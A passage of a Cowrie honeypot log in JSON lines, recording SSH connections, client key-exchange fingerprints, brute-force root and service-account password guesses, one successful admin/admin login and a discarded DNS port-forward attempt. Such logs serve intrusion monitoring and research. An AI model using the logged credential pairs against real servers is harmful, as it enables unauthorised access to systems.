6-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:24.680743Z","src_ip":"43.135.168.126","session":"8c9062fcdfd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@12","message":"login attempt [root/Server@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:24.991069Z","src_ip":"43.135.168.126","session":"8c9062fcdfd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:26.063904Z","src_ip":"43.135.168.126","session":"8c9062fcdfd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58682,"dst_ip":"10.17.0.5","dst_port":22,"session":"db08c20dfd37","protocol":"ssh","message":"New connection: 51.250.105.222:58682 (10.17.0.5:22) [session: db08c20dfd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:41.549577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:41.554501Z","src_ip":"51.250.105.222","session":"db08c20dfd37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:41.684996Z","src_ip":"51.250.105.222","session":"db08c20dfd37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rehbwf","message":"login attempt [root/rehbwf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:42.091441Z","src_ip":"51.250.105.222","session":"db08c20dfd37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:43.224249Z","src_ip":"51.250.105.222","session":"db08c20dfd37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":43860,"dst_ip":"159.203.135.109","dst_port":22,"session":"a48b45bd4e03","protocol":"ssh","message":"New connection: 43.135.164.198:43860 (159.203.135.109:22) [session: a48b45bd4e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:52.127695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:52.131975Z","src_ip":"43.135.164.198","session":"a48b45bd4e03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:52.199992Z","src_ip":"43.135.164.198","session":"a48b45bd4e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tominaga","message":"login attempt [root/tominaga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:52.504939Z","src_ip":"43.135.164.198","session":"a48b45bd4e03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:53.576594Z","src_ip":"43.135.164.198","session":"a48b45bd4e03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":42796,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfae19cbddd5","protocol":"ssh","message":"New connection: 193.32.162.151:42796 (159.203.135.109:22) [session: dfae19cbddd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:56.838586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:56.843457Z","src_ip":"193.32.162.151","session":"dfae19cbddd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:56.952520Z","src_ip":"193.32.162.151","session":"dfae19cbddd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27402,"dst_ip":"10.17.0.5","dst_port":22,"session":"f586bdd7cb70","protocol":"ssh","message":"New connection: 87.251.64.176:27402 (10.17.0.5:22) [session: f586bdd7cb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:56.984568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:56.989055Z","src_ip":"87.251.64.176","session":"f586bdd7cb70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:57.101621Z","src_ip":"87.251.64.176","session":"f586bdd7cb70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:57.282285Z","src_ip":"193.32.162.151","session":"dfae19cbddd5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:57.487775Z","src_ip":"87.251.64.176","session":"f586bdd7cb70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:57.653044Z","session":"f586bdd7cb70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:57.798364Z","src_ip":"87.251.64.176","session":"f586bdd7cb70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:57.901260Z","src_ip":"87.251.64.176","session":"f586bdd7cb70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:58.391873Z","src_ip":"193.32.162.151","session":"dfae19cbddd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":54548,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa7cadaef45d","protocol":"ssh","message":"New connection: 43.163.81.22:54548 (159.203.135.109:22) [session: aa7cadaef45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:10.564127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:10.569758Z","src_ip":"43.163.81.22","session":"aa7cadaef45d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:10.807922Z","src_ip":"43.163.81.22","session":"aa7cadaef45d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456789","message":"login attempt [root/aa123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:11.785673Z","src_ip":"43.163.81.22","session":"aa7cadaef45d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":54926,"dst_ip":"10.17.0.5","dst_port":22,"session":"861e568d3654","protocol":"ssh","message":"New connection: 103.149.170.125:54926 (10.17.0.5:22) [session: 861e568d3654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:12.116324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:12.121615Z","src_ip":"103.149.170.125","session":"861e568d3654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:12.391245Z","src_ip":"103.149.170.125","session":"861e568d3654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:13.026009Z","src_ip":"43.163.81.22","session":"aa7cadaef45d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastena","message":"login attempt [root/nastena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:13.198759Z","src_ip":"103.149.170.125","session":"861e568d3654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163722038269,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:14.042226Z","src_ip":"152.42.224.71","session":"91b9bf4a56c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:14.470154Z","src_ip":"103.149.170.125","session":"861e568d3654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":41226,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e3ff4bf763f","protocol":"ssh","message":"New connection: 89.108.118.91:41226 (10.17.0.5:22) [session: 7e3ff4bf763f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:25.613302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:25.622544Z","src_ip":"89.108.118.91","session":"7e3ff4bf763f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:25.757419Z","src_ip":"89.108.118.91","session":"7e3ff4bf763f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jackie","message":"login attempt [root/jackie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:26.161771Z","src_ip":"89.108.118.91","session":"7e3ff4bf763f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:27.299232Z","src_ip":"89.108.118.91","session":"7e3ff4bf763f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":49154,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ce41fcc307e","protocol":"ssh","message":"New connection: 139.19.117.129:49154 (159.203.135.109:22) [session: 0ce41fcc307e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:30.363661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:30.370051Z","src_ip":"139.19.117.129","session":"0ce41fcc307e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-gr